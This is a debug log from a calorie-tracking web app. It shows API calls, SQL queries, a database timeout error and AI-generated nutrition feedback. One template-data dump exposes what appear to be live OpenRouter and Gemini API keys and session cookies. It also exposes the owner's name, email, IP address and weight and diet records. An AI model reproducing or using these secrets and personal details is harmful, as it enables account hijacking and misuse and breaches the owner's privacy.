2025-12-18T13:36:02.262Z server-connect:output identity: 1
2025-12-18T13:36:04.224Z server-connect:app Executing action step identify
2025-12-18T13:36:04.224Z server-connect:app options: { provider: 'security' }
2025-12-18T13:36:04.224Z server-connect:output identity: 1
2025-12-18T13:38:45.263Z server-connect:app Executing action step identify
2025-12-18T13:38:45.263Z server-connect:app options: { provider: 'security' }
2025-12-18T13:38:45.263Z server-connect:output identity: 1
2025-12-18T13:38:45.702Z server-connect:app Executing action step identify
2025-12-18T13:38:45.702Z server-connect:app options: { provider: 'security' }
2025-12-18T13:38:45.702Z server-connect:output identity: 1
2025-12-18T13:41:27.613Z server-connect:app Executing action step identify
2025-12-18T13:41:27.613Z server-connect:app options: { provider: 'security' }
2025-12-18T13:41:27.613Z server-connect:output identity: 1
2025-12-18T13:41:31.515Z server-connect:app Executing action step identify
2025-12-18T13:41:31.515Z server-connect:app options: { provider: 'security' }
2025-12-18T13:41:31.516Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 13:48:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 13:48:10' as DATETIME)"
}
2025-12-18T14:08:52.968Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-18T14:08:52.969Z server-connect:app Executing action step identify
2025-12-18T14:08:52.969Z server-connect:app options: { provider: 'security' }
2025-12-18T14:08:52.969Z server-connect:output identity: 1
2025-12-18T14:08:52.969Z server-connect:app Executing action step restrict
2025-12-18T14:08:52.969Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T14:08:52.971Z server-connect:output restrict: undefined
2025-12-18T14:08:52.971Z server-connect:app Executing action step processWithGemini
2025-12-18T14:08:52.971Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-18T14:08:54.863Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Milk Tea (without sugar)',
      quantity: '1 cup (approx 200ml)',
      calories_consumed: 70,
      total_calories: 70,
      protein: 6.6,
      carbs: 9.6,
      fat: 1.8,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: "Generally good, especially without sugar. Provides some protein and calcium from milk. For muscle development, it's a decent beverage."
    }
  ],
  total_macros: {
    protein: { value: 6.6, unit: 'g' },
    carbs: { value: 9.6, unit: 'g' },
    fat: { value: 1.8, unit: 'g' }
  }
}
2025-12-18T14:12:32.247Z server-connect:app Executing action step identify
2025-12-18T14:12:32.247Z server-connect:app options: { provider: 'security' }
2025-12-18T14:12:32.248Z server-connect:output identity: 1
2025-12-18T14:12:35.513Z server-connect:app Executing action step identify
2025-12-18T14:12:35.513Z server-connect:app options: { provider: 'security' }
2025-12-18T14:12:35.513Z server-connect:output identity: 1
2025-12-18T14:34:12.245Z server-connect:app Executing action step identify
2025-12-18T14:34:12.245Z server-connect:app options: { provider: 'security' }
2025-12-18T14:34:12.246Z server-connect:output identity: 1
2025-12-18T14:34:14.894Z server-connect:app Executing action step identify
2025-12-18T14:34:14.894Z server-connect:app options: { provider: 'security' }
2025-12-18T14:34:14.894Z server-connect:output identity: 1
2025-12-18T15:11:14.459Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-18T15:11:14.460Z server-connect:app Executing action step identify
2025-12-18T15:11:14.460Z server-connect:app options: { provider: 'security' }
2025-12-18T15:11:14.461Z server-connect:output identity: 1
2025-12-18T15:11:14.461Z server-connect:app Executing action step restrict
2025-12-18T15:11:14.461Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T15:11:14.462Z server-connect:output restrict: undefined
2025-12-18T15:11:14.462Z server-connect:app Executing action step condition
2025-12-18T15:11:14.462Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-18T15:11:14.462Z server-connect:app Executing action step repeat
2025-12-18T15:11:14.463Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-18T15:11:14.463Z server-connect:app Executing action step insert
2025-12-18T15:11:14.463Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-18T15:11:14.464Z server-connect:output calories: { affected: 1, identity: 439 }
2025-12-18T15:11:14.464Z server-connect:output repeat: [ {} ]
2025-12-18T15:11:14.464Z server-connect:output condition: undefined
2025-12-18T15:11:14.672Z server-connect:router Serving templateView /calorie-tracker
2025-12-18T15:11:14.673Z server-connect:app Executing action step identify
2025-12-18T15:11:14.673Z server-connect:app options: { provider: 'security' }
2025-12-18T15:11:14.673Z server-connect:output identity: 1
2025-12-18T15:11:14.673Z server-connect:app Executing action step restrict
2025-12-18T15:11:14.673Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T15:11:14.673Z server-connect:output restrict: undefined
2025-12-18T15:11:14.673Z server-connect:router Render template layouts/main
2025-12-18T15:11:14.674Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T17:19:41.895Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-18T15:11:14.888Z server-connect:app Executing action step identify
2025-12-18T15:11:14.888Z server-connect:app options: { provider: 'security' }
2025-12-18T15:11:14.888Z server-connect:output identity: 1
2025-12-18T15:11:15.243Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-18T15:11:15.244Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-18T15:11:15.245Z server-connect:app Executing action step identify
2025-12-18T15:11:15.246Z server-connect:app options: { provider: 'security' }
2025-12-18T15:11:15.246Z server-connect:output identity: 1
2025-12-18T15:11:15.246Z server-connect:app Executing action step restrict
2025-12-18T15:11:15.246Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T15:11:15.247Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-18T15:11:15.247Z server-connect:app Executing action step identify
2025-12-18T15:11:15.247Z server-connect:app options: { provider: 'security' }
2025-12-18T15:11:15.247Z server-connect:output identity: 1
2025-12-18T15:11:15.247Z server-connect:app Executing action step restrict
2025-12-18T15:11:15.247Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T15:11:15.248Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T15:11:15.248Z server-connect:output restrict: undefined
2025-12-18T15:11:15.248Z server-connect:app Executing action step single
2025-12-18T15:11:15.248Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-18T15:11:15.249Z server-connect:output restrict: undefined
2025-12-18T15:11:15.249Z server-connect:app Executing action step select
2025-12-18T15:11:15.249Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-18T15:11:15.249Z server-connect:app Executing action step identify
2025-12-18T15:11:15.249Z server-connect:app options: { provider: 'security' }
2025-12-18T15:11:15.249Z server-connect:output identity: 1
2025-12-18T15:11:15.249Z server-connect:app Executing action step restrict
2025-12-18T15:11:15.249Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T15:11:15.250Z server-connect:app Executing action step identify
2025-12-18T15:11:15.250Z server-connect:app options: { provider: 'security' }
2025-12-18T15:11:15.250Z server-connect:output identity: 1
2025-12-18T15:11:15.250Z server-connect:app Executing action step restrict
2025-12-18T15:11:15.250Z server-connect:app options: { provider: 'security' }
2025-12-18T15:11:15.250Z server-connect:output restrict: undefined
2025-12-18T15:11:15.250Z server-connect:app Executing action step single
2025-12-18T15:11:15.250Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T15:11:15.251Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-18T15:11:15.255Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-18T15:11:15.256Z server-connect:output restrict: undefined
2025-12-18T15:11:15.256Z server-connect:app Executing action step single
2025-12-18T15:11:15.256Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-18T15:11:15.258Z server-connect:output summary: {
  summary: {
    rating: 8,
    summary: "The day's nutrition shows a good focus on protein intake, particularly with the inclusion of whey protein, which supports muscle development goals. Meal composition appears balanced with vegetables and carbohydrates. Consistent early morning gym sessions are a strong positive for recovery and fat loss. Overall, the routine aligns well with the stated objectives.",
    bad_points: [
      'The snack item might be high in carbohydrates and fats.',
      'Milk tea could be a source of added sugars.'
    ],
    good_points: [
      'Inclusion of whey protein for muscle support.',
      'Presence of vegetables in the meal.',
      'Consistent early morning gym attendance.'
    ],
    suggestions: [
      'Consider a protein-rich snack option.',
      'Hydrate adequately throughout the day.',
      'Ensure meals are spaced appropriately to support energy levels.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'steady loss'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T15:11:15.260Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-18T15:11:15.260Z server-connect:app Executing action step select
2025-12-18T15:11:15.260Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-18T15:11:15.261Z server-connect:output item_list: [
  {
    id: 433,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)',
    replacements: 'Steamed Aloo Matar (without deep frying),Aloo Matar with less oil and more vegetables,Roasted chickpeas or lentils',
    created_at: '2025-12-17T22:44:21.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, 'Googhri' often implies deep-frying or significant oil, increasing calorie and fat content. For muscle development, a less oily preparation or alternative protein sources would be more beneficial."
  },
  {
    id: 434,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)',
    replacements: 'Black tea (no milk, no sugar),Herbal tea,Green tea',
    created_at: '2025-12-17T22:48:21.000Z',
    skip_level: 2,
    skip_reason: 'While not inherently bad, milk tea still contributes calories and some fat. For muscle development, prioritizing protein and complex carbs is key. You could opt for black tea or green tea for hydration without the added calories from milk, or choose a protein shake instead.'
  },
  {
    id: 435,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Egg whites,Lean chicken breast',
    created_at: '2025-12-17T23:39:25.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, especially post-workout. High in protein, low in carbs and fat.'
  },
  {
    id: 436,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Baingan Sabji',
    calories: 105,
    protein_gm: 2,
    carbs_gm: 13,
    fat_gm: 5,
    quantity: '1 serving (approx. 150g)',
    replacements: 'Steamed baingan (without oil),Baingan bharta (less oil),Other low-calorie vegetable preparations (e.g., palak sabzi, lauki sabzi)',
    created_at: '2025-12-18T03:00:56.000Z',
    skip_level: 1,
    skip_reason: 'Generally healthy, but oil content can increase calories. For muscle development, focus on lean protein sources.'
  },
  {
    id: 437,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Roti',
    calories: 368,
    protein_gm: 4,
